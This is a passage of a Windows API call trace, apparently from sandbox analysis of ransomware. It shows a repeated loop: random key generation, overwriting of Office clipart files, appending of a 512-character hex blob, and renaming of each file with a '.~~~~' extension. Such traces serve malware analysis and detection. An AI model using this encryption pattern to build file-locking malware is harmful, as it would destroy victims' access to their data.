	[0111.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.171] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23116141862) returned 1
	[0111.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabdebf70, dwHighDateTime=0x1d60e1e)) 
	[0111.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f648
	[0111.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f648 | out: hHeap=0x300000) returned 1
	[0111.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e7c0
	[0111.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.172] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.172] GetLastError () returned 0x0
	[0111.173] GetLastError () returned 0x0
	[0111.173] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.173] GetLastError () returned 0x0
	[0111.173] GetLastError () returned 0x0
	[0111.199] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe595, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.199] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1a6b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1a6b, lpOverlapped=0x0) returned 1
	[0111.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.200] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.200] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.200] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.200] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.201] CloseHandle (hObject=0x13c) returned 1
	[0111.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.~~~~")) returned 1
	[0111.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.202] GetLastError () returned 0x0
	[0111.203] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.204] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.205] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.205] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23119500015) returned 1
	[0111.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabf1ca70, dwHighDateTime=0x1d60e1e)) 
	[0111.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0111.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0111.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0111.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9b68
	[0111.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9b68 | out: hHeap=0x300000) returned 1
	[0111.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b04e0
	[0111.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.318] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.325] GetLastError () returned 0x0
	[0111.330] GetLastError () returned 0x0
	[0111.330] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.330] GetLastError () returned 0x0
	[0111.331] GetLastError () returned 0x0
	[0111.333] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdea6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.333] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x215a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x215a, lpOverlapped=0x0) returned 1
	[0111.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.334] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.335] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.335] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.335] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.335] CloseHandle (hObject=0x13c) returned 1
	[0111.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.~~~~")) returned 1
	[0111.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.336] GetLastError () returned 0x0
	[0111.337] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.338] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0111.338] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0111.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.339] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23132866555) returned 1
	[0111.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabf68d30, dwHighDateTime=0x1d60e1e)) 
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9a50
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9a50 | out: hHeap=0x300000) returned 1
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866770
	[0111.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.339] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.340] GetLastError () returned 0x0
	[0111.340] GetLastError () returned 0x0
	[0111.340] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.340] GetLastError () returned 0x0
	[0111.340] GetLastError () returned 0x0
	[0111.343] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffb2e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.343] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4d18, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x4d18, lpOverlapped=0x0) returned 1
	[0111.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.344] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.345] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.345] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.345] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.345] CloseHandle (hObject=0x13c) returned 1
	[0111.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.345] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.~~~~")) returned 1
	[0111.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.346] GetLastError () returned 0x0
	[0111.347] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.348] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0111.348] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0111.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.348] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23133856931) returned 1
	[0111.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabf8ee90, dwHighDateTime=0x1d60e1e)) 
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f878
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f878 | out: hHeap=0x300000) returned 1
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831088
	[0111.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.349] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.350] GetLastError () returned 0x0
	[0111.350] GetLastError () returned 0x0
	[0111.350] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.350] GetLastError () returned 0x0
	[0111.350] GetLastError () returned 0x0
	[0111.355] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffb814, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.355] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x47ec, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x47ec, lpOverlapped=0x0) returned 1
	[0111.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.356] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.356] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.356] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.356] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.356] CloseHandle (hObject=0x13c) returned 1
	[0111.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.357] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.~~~~")) returned 1
	[0111.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.358] GetLastError () returned 0x0
	[0111.358] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.359] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0111.359] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.360] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23134986195) returned 1
	[0111.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabf8ee90, dwHighDateTime=0x1d60e1e)) 
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f8b0
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f8b0 | out: hHeap=0x300000) returned 1
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831120
	[0111.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.361] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.361] GetLastError () returned 0x0
	[0111.361] GetLastError () returned 0x0
	[0111.361] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.362] GetLastError () returned 0x0
	[0111.362] GetLastError () returned 0x0
	[0111.378] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff74c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.380] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x8b4, lpOverlapped=0x0) returned 1
	[0111.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0111.384] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.385] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.385] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.385] CloseHandle (hObject=0x13c) returned 1
	[0111.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c80a8
	[0111.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.~~~~")) returned 1
	[0111.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c80a8 | out: hHeap=0x300000) returned 1
	[0111.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0111.454] GetLastError () returned 0x0
	[0111.454] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
